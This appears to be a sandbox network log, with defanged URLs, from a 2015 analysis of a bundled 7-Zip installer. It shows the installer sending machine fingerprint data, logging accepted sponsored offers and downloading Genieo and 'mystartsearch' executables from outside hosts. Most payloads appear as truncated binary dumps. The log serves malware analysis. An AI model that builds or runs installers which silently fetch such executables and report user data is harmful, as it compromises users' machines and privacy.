GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=123551-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 7ZwmytFUMXRBGKR5nr10Nu4h6qUCBwer2GL GgOipSzYtFAH sfjIrirrn6FbpAf46qMFg73 7g=

x-amz-request-id: 43E0B3747513231C

Date: Thu, 08 Jan 2015 04:55:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 123551-988407/988408

Content-Type: application/octet-stream

Content-Length: 864857

Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Y...QPu.v..K.)...?.Xu.......E.....|ZjT.L..S<
;8...;......q.Mu.a-.V..[...\.e....M....5j...S}..wV.]..!.7...g...Rw...)
....L..8.1...G.....YK8.6....z....Bp.<....,./.J.|.......M.g...J..{U9
.......6.aZO.`..(..K4p?`..ER.Z.{..Sn..m?b.3.......D...'?T.....N.a$0...
8Olw.7'.~6.kL...........k..zfo#..{.="...e...."..y..\..w.y6Px..pz....f.
#[email protected]...&.q....GH.?\...V...vz7.T.J............$p.Y.."L?....T!..."
.!`.........r.......r...B*........)..^.TI.Eb.Y ..z..a./....;.kv.&.<<< skipped >>>

GET /awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............z...6..?.....v.&4..I(.<....cZ.t'.Z...$$.2Iy..}-.
.|Wv.w..Ba.lw:;...E...B.....{..Y..t.6F......_.Fi...F..$]..d....2.....?
..d....e..E.2...>...z7..vv.i...W..(..?)..M..x<N..R.wK..........t
2... ././}."..._.J.>.......by..... _.0....x6..>....$^...e.X~....
l.U......qr~:.........)...=..&....`......O........yz.._....`I.......?6
..]4....t..l.q.._\W..g..l6]DW..<..:._... ..ON...y..s<xr9...?yz9.
ac....O......J.E.9..ez..'.?c..G..1.......9<....E....d.N.x.....t8.a0
..b........uh...l.0..........O/.y.-b..g..7N1k.%....-...>..S..M,...l
..Ez...v....%.=.\f}{G...c...?.....4._.1.}..y.........{..w.n.j...?...xn
.. .c l#.ev:........t<.....r...:EA|..*..G..K.{......t>Y....9....
.......r.x.G.$t._...3P....^^........?.../N......8]fK.9.[.^.e<d.R...
.-.qc..G.,...'&...h..d.........Kg...4..I:>...n....(...~.]..-....'..
J....l.b%....]3\.kK\..O...1:..N.i...r.{8GN{..%...l..>...>.).....
......8...`.GW...z8<.,..O{..v.M....{.b.3...<_H.4.....wel........
......X.,._..n..P%.....T....O.?&ww.........n...4......;q.N.I.......'./
.w.v~......$.an.6...A....V[.s....=Y....c:.%..O..U..t.........[...s.:..
|].......}.............{.}. .u. ?v..k...n...P..{w....W~.^........W....
...........~...k.w.x..........W.g..._..wk.w...[......W}..B........k...
.."..x.h./......xb.Q.g..Rp.Gz.0^.r#..>.....X.O......gKp.......ez.s.
..W."V\(e....`.....;.....4......6...&..y...O.2H....uu.Npkr9...<....
1....^o]..$...8...` h....]..f.&K...~z/.....r..n...l....Q...'.;.....'Q.
..-0'..L..>o..}>..7\..6t>........l.U...^.....r>......R<<< skipped >>>

POST /installer/ajax HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept: application/json, text/javascript, */*; q=0.01

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Content-Length: 4121

Connection: Keep-Alive

Cache-Control: no-cache

country=UA&uid_orig=799c6eaebeb52f4eabf469c6ed8ad1c0&uid=799c6eaebeb52f4eabf469c6ed8ad1c0&affid=awfr7zip23772&sid=7zip&cli_id=&softwareName=7-Zip&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ff&hostBrowser=ff&tzo=MTIw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=88f7c4046ad65b51acabec544a63ad3c&tokyo_csrf_timestamp=1420692728&unique_id=false&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77FGnMsZ1LcvOzHafQu4ZCzL8juT87OhWgAKpiO4REHih3bZNHkqNAXYr+bBhCxp8N7RWwsCfCq8lX
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:10 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
fdd.............\ms.6.. 8...B.........I/s.5.'...:...$.$....%..~.. E..,
;...$3.S.....<.]......*.z..........LgL.y...S.......-.,.....|..kYPg.
Z...c..4.1 ..5.SS.M....k..<...qz..[....{X..`.b....i|..}......Pd..s.
.Nr.,..3-D"..ga,.K.O..L/T)V]...7^O..h.Q.FM......>[email protected]./.
.b..%..2...X..$..... ....v.=^.F.A....g*..V#.,..YT.3p.........'J.-.D.=.
. .z.?[.....i.....#.....`.2.b.....{a;./ef.........K...^*>...V.BD.t.
V..\.e"....I...2.{...C.%Mr......=....4.|...*.......ZR......J.....k....
..i...Z.x:Q.z[?..3-....I............VnT.....4.T.y{........s.C2.X..3...
..b.Ta...b.j......=....=......Z.0.HbN...^.8T`.B....j......@5^.......!.
. i!p..C9....Sq.]....4...NnP..;..j..de.mn...ku..B#5.M. ... V.,.....8.M
.R=..5.=.N...-.-.X......B.z.=c....=..$.........7`...J7.c@k...;..B.0...
..('..5..........z.|.P..`._.5v.x..J..n^...x....T.O5...L..`.2.j(..l.x?.
.....R.I...*.r..7....Ks.r..........a....<..`....?.`^E..@j._50*V.u.g
...A..2.:...Q S.l..\....M.....i...,.9.s..D&..9r.e..t.T^..\...]-,.Dc..{
U.o.........i1.9,.....X...A..(4........_......./^.?.D.? 5y........0.4I
...n)6Q.2...U......?K..lF.|........ni.G7[Z...%.P=.._..G..[..O.../...F{
yx..>..V....W.0...Rk....M......kw.nyQh2....~G/P.i..X...V....c.3.,.q
.3.!...o.......e..'./TR...!.X.B_.94*.]Z..)~\5..Kq(...3I.....%.....V..f
b...zk..::.=m.(.c.~.3X.T..r..l..u..tl.........-........K#...K..:;.....
......mJ...`...V.....E.<..S...9..%..?{....P....3..O&..[.6Y.8..,...8
.m.............L...-x)..Xr.?.>.4.;.z.A.G.]......Ta{.2.!.O/.....@...
-...t....(....1.........z..i....A..&.g..h..b...r.X.n..K.Z.....h...<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.29817793411190424 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.08816333805861742 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1332783022.1420692710.1420692710.1420692710.1; __utmb=1.1.10.1420692710; __utmc=1; __utmz=1.1420692710.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:52:21 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 08 Jan 2015 04:52:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/ef016749e4b3b84c8b6f3946b9bc2c0d?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: dsba220j59f4d.cloudfront.net

If-Modified-Since: Wed, 07 Jan 2015 11:57:28 GMT

If-None-Match: "54ad1f28-d66"

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:53:16 GMT

Server: nginx

ETag: "54ad1f28-d66"

Expires: Thu, 08 Jan 2015 04:15:27 GMT

Cache-Control: max-age=600

Age: 67

X-Cache: Hit from cloudfront

Via: 1.1 592fd51ac9c000a869868d1cc9f96a62.cloudfront.net (CloudFront)

X-Amz-Cf-Id: r0OMXNy1_3romTc2Z8IwqKyKB94TgY3sH5qsYK9rUxYuvv6FtsOtJw==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:53:16 GMT..Server: nginx..ETag: "54ad1f28-d66"..Expires: Thu, 0
8 Jan 2015 04:15:27 GMT..Cache-Control: max-age=600..Age: 67..X-Cache:
 Hit from cloudfront..Via: 1.1 592fd51ac9c000a869868d1cc9f96a62.cloudf
ront.net (CloudFront)..X-Amz-Cf-Id: r0OMXNy1_3romTc2Z8IwqKyKB94TgY3sH5
qsYK9rUxYuvv6FtsOtJw==..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: eKOuz3cm9Aspq9qWBTDLi8J299DPpchgYWkgkpGlny/mKoq3CVY3w9HRAdoZOJfa

x-amz-request-id: CE5E15D7C9C36A55

Date: Thu, 08 Jan 2015 04:57:30 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 741306-988407/988408

Content-Type: application/octet-stream

Content-Length: 247102

Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=395396, public, no-transform, must-revalidate

Last-Modified: Mon, 5 Jan 2015 18:44:32 GMT

Expires: Mon, 12 Jan 2015 18:44:32 GMT

Date: Thu, 08 Jan 2015 04:57:14 GMT

Connection: keep-alive
0..........0..... .....0......0...0........6?s....V....OlL".O..2015010
5184432Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
.A..2.....:...:......20150105184432Z....20150112184432Z0...*.H........
.....P*........D..)..Ex/.......P?)...K...BJ..G..x. \2....6y....\..t..0
.1,y..S...{.....:..<... vn....&.$[.3...I...\ ...._.L..1@=cZ;..J....
w.o.]s.n.......F.3.....V...P..NA/......\... ..%.`[email protected]
pi..E....%w.Z:~.C............`..:...:....UE..x...x.......#0...0...0...
.......<o&S.-S..}...e.30...*.H........0..1.0...U....US1.0...U....Ve
riSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use a
t hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code S
igning 2009-2 CA0...141205000000Z..150305235959Z0..1.0...U....US1.0...
U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms o
f use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Clas
s 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0.......
..{(..t....2.Vf.....&;6).i*[email protected]._p.E.6.|.mk....(....
......p...........X.DF....^0N....b9.:..J. ZK.".^..\..p.'.$..JA..~QG.d.
}...r...gv... f...z.#..}..J...r9h.........LI-..^.......PUD.h<.l....
(n..i.....E.....2....^./Y......Y.m...'...hz..y..E..........0...0...U..
..0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisig
n.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp.
 by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U.....
...0... .....0......0"..U....0...0.1.0...U....TGV-B-24710...*.H...<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=269780-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 38540

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 269780-308319/308320

......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:53:17 GMT

Content-Type: application/octet-stream

Content-Length: 308320

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:17 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$........}`e^..6^..6
^..6...6N..6...6'..6...6p..6Wd.6S..6^..6...68..6U..68..6_..6^..6_..68.
.6_..6Rich^..6........................PE..L.....~T.................z..
......................@.................................._....@.......
......................................0...............`.......`...0...
8...............................@.....................................
.......text....y.......z.................. ..`.rdata..j............~..
............@[email protected][email protected].....
.......>..............@[email protected][email protected].
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U...E...u...]...PRQ....
....]....U...E...u...]...PRQ........]....U...E..V......A.t.V..........
^].................U...E..U....H.].................U........U..u.R.P..
U..H.;J.u...;.u.....]...2...]................U...E.;H.u...;E.u...]...2
.]........A............U..QV.u..E...........u.........A..E..F......F..
.......:.u.3.QR.........^..].....W.y...A..u. ._QR...y.....^..]......A.
...........U..Q.E.V.u..E........u(j..F......F.....h..A.......*.....^..
]...PV.:.....^..].....(.A............U..QV.u..E......Y....u.......<<< skipped >>>

GET /pagead/viewthroughconversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: googleads.g.doubleclick.net

DNT: 1

Connection: Keep-Alive

Cookie: id=caebd6253000002||t=1384780400|et=730|cs=002213fd480c4c2631f7c541a4


HTTP/1.1 302 Found

P3P: policyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Date: Thu, 08 Jan 2015 04:54:22 GMT

Pragma: no-cache

Expires: Fri, 01 Jan 1990 00:00:00 GMT

Cache-Control: no-cache, must-revalidate

Location: hXXp://VVV.google.com/ads/conversion/971163981/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&convclickts=0&random=3062278210

Content-Type: image/gif

X-Content-Type-Options: nosniff

Server: cafe

Content-Length: 42

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=0.02
GIF89a.............!.......,...........D.;HTTP/1.1 302 Found..P3P: pol
icyref="hXXp://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="C
URa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV O
TC NOI DSP COR"..Date: Thu, 08 Jan 2015 04:54:22 GMT..Pragma: no-cache
..Expires: Fri, 01 Jan 1990 00:00:00 GMT..Cache-Control: no-cache, mus
t-revalidate..Location: hXXp://VVV.google.com/ads/conversion/971163981
/?random=1388919508&cv=7&fst=1420692842737&num=1&fmt=3&label=DQanCNPMo
RIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716
&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=ht
tp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA
_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_
br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Win
dows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleI
D=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&cdct=2&
convclickts=0&random=3062278210..Content-Type: image/gif..X-Content-Ty
pe-Options: nosniff..Server: cafe..Content-Length: 42..X-XSS-Protectio
n: 1; mode=block..Alternate-Protocol: 80:quic,p=0.02..GIF89a..........
...!.......,...........D.;..<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://installer.filebulldog.com/awfr7zip23772/7zip/8bcb66b22b13e545b4025cefa77c7e57?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d16a55el92698t.cloudfront.net

If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT

Connection: Keep-Alive


HTTP/1.1 304 Not Modified

Connection: keep-alive

Date: Thu, 08 Jan 2015 04:57:23 GMT

Server: nginx

Expires: Sun, 04 Jan 2015 05:11:58 GMT

Cache-Control: max-age=600

Age: 129

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 87f229ee36043fa00ca8a4022d40bf9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9shzpwSpqXgBLK-4KpuIGMwpHM-E3nEaZ2lt_p1rTvNud4okWbSH7A==

HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 08 Jan 2
015 04:57:23 GMT..Server: nginx..Expires: Sun, 04 Jan 2015 05:11:58 GM
T..Cache-Control: max-age=600..Age: 129..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 87f229ee36043fa00ca8a4022d40bf9c.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: 9shzpwSpqXgBLK-4KpuIGMwpHM-E3nEa
Z2lt_p1rTvNud4okWbSH7A==..

GET /img/youtube-accelerator-logo.png HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Content-Type: image/png

Last-Modified: Tue, 10 Jun 2014 08:53:04 GMT

Accept-Ranges: bytes

ETag: "0d8fd638984cf1:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 9214
.PNG........IHDR.......H.....E.......tEXtSoftware.Adobe ImageReadyq.e&
lt;... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CS5 Windows" xmpMM:InstanceID="xmp.iid:81D309AAC21F11E29064D5C06D
ED1D59" xmpMM:DocumentID="xmp.did:81D309ABC21F11E29064D5C06DED1D59">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:81D309A8C21F11E29064
D5C06DED1D59" stRef:documentID="xmp.did:81D309A9C21F11E29064D5C06DED1D
59"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
